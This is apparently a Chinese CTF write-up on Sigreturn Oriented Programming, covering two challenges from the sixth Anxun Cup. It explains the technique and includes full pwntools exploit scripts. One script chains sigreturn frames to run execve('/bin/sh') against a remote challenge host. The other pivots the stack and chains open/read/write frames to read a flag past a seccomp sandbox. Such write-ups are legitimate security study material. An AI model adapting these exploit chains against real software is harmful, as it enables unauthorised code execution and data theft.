这次第六届安洵杯有两道和srop相关的题目,正好对所学的SROP知识做个总结
SROP,全称为Sigreturn Oriented Programming,主要触发原理为sigreturn这个系统调用,这个系统调用一般是程序在发生 signal 的时候被间接地调用
来源于ctfwiki:SROP
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
看完原理之后我们可以发现,sigreturn 系统调用会将进程恢复为之前"保存的",也就是从栈中pop回到各寄存器,在执行sigreturn 系统调用期间,我们对栈中的值是可以任意读写的,而且由于内核与信号处理程序无关, signal 对应的各个寄存器值并不会被记录,那么,只要我们能够劫持栈中的数据,伪造一个 Signal Frame ,那么就可以控制任意寄存器的值
当我们可以控制任意寄存器的值时,只要程序中的数据满足条件我们便可以利用SROP来获取shell
通过对ROP攻击的学习我们知道,获取shell实际上就是执行了系统调用 execve("/bin/sh",0,0),那么有没有可能通过控制寄存器来执行这个系统调用?答案是肯定的。
获取shell需要满足以下条件:
具体SROP操作如下
例如获取shell的各寄存器控制:
rax —>59(execve的系统调用号)
rdi —> '/bin/sh'
rsi —> 0
rdx —>0
rip —> syscall
此时再继续向下调用时就可以执行execve("/bin/sh",0,0)了
当然,SROP并不是只能够调用一次,只要栈布局合理并且知道一些关键数据,我们便可以执行一串SROP链
例如,当程序开启了沙箱保护时
我们需要利用open,read,write三次调用
便可进行如下构造
这样通过对rsp的设置可以保证srop链依次进行调用
pwntools集成了有关SROP链的构造函数 SigreturnFrame()
工具构造和利用如下:
frame = SigreturnFrame()
frame.rax =
frame.rdi =
frame.rsi =
frame.rdx =
frame.rcx =
frame.rip =
frame.rsp =
用与参与栈布局的构造
在payload构造中利用bytes(frame)包裹即可
在程序中有两种syscall:
一种是syscall函数,在ida中以以下类似汇编代码出现:
.text:00000000004013F7 48 8D 45 E0 lea rax, [rbp+var_20]
.text:00000000004013FB B9 18 00 00 00 mov ecx, 18h
.text:0000000000401400 48 89 C2 mov rdx, rax
.text:0000000000401403 BE 01 00 00 00 mov esi, 1
.text:0000000000401408 BF 01 00 00 00 mov edi, 1
.text:000000000040140D B8 00 00 00 00 mov eax, 0
.text:0000000000401412 E8 49 FC FF FF call _syscall
也能在ida中找到其plt表
另一种是以syscall的机器码形式出现的:
.text:00000000004011DC 48 31 C0 xor rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ; count
.text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004011EB 48 89 C7 mov rdi, rax ; fd
.text:00000000004011EE 0F 05 syscall
一般以sys_read、sys_write等伪c代码形式出现
这两种syscall形式会导致构造的方式不同
具体在于以syscall函数形式出现的syscall
其调用过程如下:
由于syscall函数调用需要遵循寄存器传参条件,所以在syscall函数调用中会将寄存器重新赋值,那么在工具函数 SigreturnFrame() 构造时便需要根据传参规则改变调用规则
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
return sys_read(0, buf, 0x200uLL);
}
非常直白的一道题
给了对应的gadget
.text:0000000000401131 ; __unwind {
.text:0000000000401131 F3 0F 1E FA endbr64
.text:0000000000401135 55 push rbp
.text:0000000000401136 48 89 E5 mov rbp, rsp
.text:0000000000401139 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:0000000000401140 C3
直接的SROP构造即可
from pwn import *
elf = ELF("./pwn")
io = remote('101.132.112.252',30573)
#io = process('./pwn')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def dbg():
gdb.attach(io)
pause()
syscall_ret=0x401127
ret=0x4000FE
data=0x404028
pop_rax=0x401139
#gdb.attach(io,'b 0x0000000004000FE')
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = data
sigframe.rsp = data+8
sigframe.rip = syscall_ret
payload=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe)#
io.send(payload)
#dbg()
sigframe1 = SigreturnFrame()
sigframe1.rax = 59
sigframe1.rdi = data
sigframe1.rsi = 0
sigframe1.rdx = 0
sigframe1.rsp = 0
sigframe1.rip = syscall_ret
payload1=b'/bin/sh\x00'+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe1)
io.sendline(payload1)
io.interactive()
payload=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe)
因为程序中没有sh字符串,那么我们就需要构造一个read来写一段/bin/sh字符串到程序中,并在后面继续执行下一段srop链
然后rsp位置设置成了一个bss段的地址,实际上是产生了一个类似于栈迁移的效果,使rsp到对应位置继续向下执行代码
payload1=b'/bin/sh\x00'+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe1)
那么实际上data+8恰好就是输入后p64(poprax)的位置
接着执行下去即可getshell
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF
v2[0] = 0x6F6E6B2075206F44LL;
v2[1] = 0x6920746168772077LL;
v2[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}
还开了沙箱
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0011
0009: 0x15 0x01 0x00 0x0000005a if (A == chmod) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
orw都有
而且两种syscall都有
.plt:0000000000401060 FF 25 6A 2F 00 00 jmp cs:syscall_ptr
.plt:0000000000401060
.plt:0000000000401060 _syscall endp
.text:0000000000401186 55 push rbp
.text:0000000000401187 48 89 E5 mov rbp, rsp
.text:000000000040118A 0F 05 syscall
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(0LL, 0LL, v1, 58LL);
可以看到有两段输入,一段在bss段上,大小为0x1000,另一段在栈上,溢出了0x10字节
输入长度不够如何构造srop?
此时我们便可以用这个0x10字节溢出来实现栈迁移,将栈迁移到bss段上后第一段读入就可以实现一个非常大的数据读入,足够进行三段SROP链的构造了
程序中也给了rax的赋值
.text:000000000040118F 55 push rbp
.text:0000000000401190 48 89 E5 mov rbp, rsp
.text:0000000000401193 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040119A C3 retn
io.sendafter('easyhack\n','0')
io.sendafter('SUID?\n',b'\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417))
io.send(b'\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417))
io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e))
首先是一个经典0x10字节的栈迁移过程,不了解的师傅可以看看这篇文章:栈迁移详解 - 先知社区 (aliyun.com)
这里不多赘述
接下来就是SROP链的构造:
payload = b'./flag\x00\x00'.ljust(0x30, b'\x00')
frame = SigreturnFrame()
frame.rdi = constants.SYS_open
frame.rsi = 0x404060
frame.rdx = 0
frame.rcx = 0
frame.rip = syscall
frame.rsp = 0x404198
payload += p64(rax_15)+p64(syscall2)+bytes(frame)
frame = SigreturnFrame()
frame.rdi = constants.SYS_read
frame.rsi = 3
frame.rdx = elf.bss()+0x500
frame.rcx = 0x50
frame.rip = syscall
frame.rsp = 0x4042a0
payload+=p64(rax_15)+p64(syscall2)+bytes(frame)
frame = SigreturnFrame()
frame.rdi = constants.SYS_write
frame.rsi = 1
frame.rdx = elf.bss()+0x500
frame.rcx = 0x50
frame.rip = syscall
frame.rsp = 0
payload += p64(rax_15)+p64(syscall2)+bytes(frame)
三段式的构造,open,read,write,将flag字符串和垃圾数据放在一起构造栈溢出
然后就是rax—>15,syscall,frame
重点是rsp位置需要通过调试来确定运行地址
使rsp恰好落在下一段SROP链的起始点,一段接着一段执行
完整exp:
from pwn import*
io = process('./chall2')
#io = remote('47.108.206.43',37272)
context.log_level='debug'
context(os='linux', arch='amd64')
elf = ELF('./chall2')
syscall2=0x40118A
syscall=0x401060
rax_15 = 0x401193
main = 0x40136e
io.sendafter('easyhack\n','0')
io.sendafter('SUID?\n',b'\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417))
io.send(b'\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417))
io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e))
payload = b'./flag\x00\x00'.ljust(0x30, b'\x00')
frame = SigreturnFrame()
frame.rdi = constants.SYS_open
frame.rsi = 0x404060
frame.rdx = 0
frame.rcx = 0
frame.rip = syscall
frame.rsp = 0x404198
payload += p64(rax_15)+p64(syscall2)+bytes(frame)
frame = SigreturnFrame()
frame.rdi = constants.SYS_read
frame.rsi = 3
frame.rdx = elf.bss()+0x500
frame.rcx = 0x50
frame.rip = syscall
frame.rsp = 0x4042a0
payload+=p64(rax_15)+p64(syscall2)+bytes(frame)
frame = SigreturnFrame()
frame.rdi = constants.SYS_write
frame.rsi = 1
frame.rdx = elf.bss()+0x500
frame.rcx = 0x50
frame.rip = syscall
frame.rsp = 0x404088
payload += p64(rax_15)+p64(syscall2)+bytes(frame)
io.sendafter('easyhack\n',payload)
io.send('a')
io.interactive()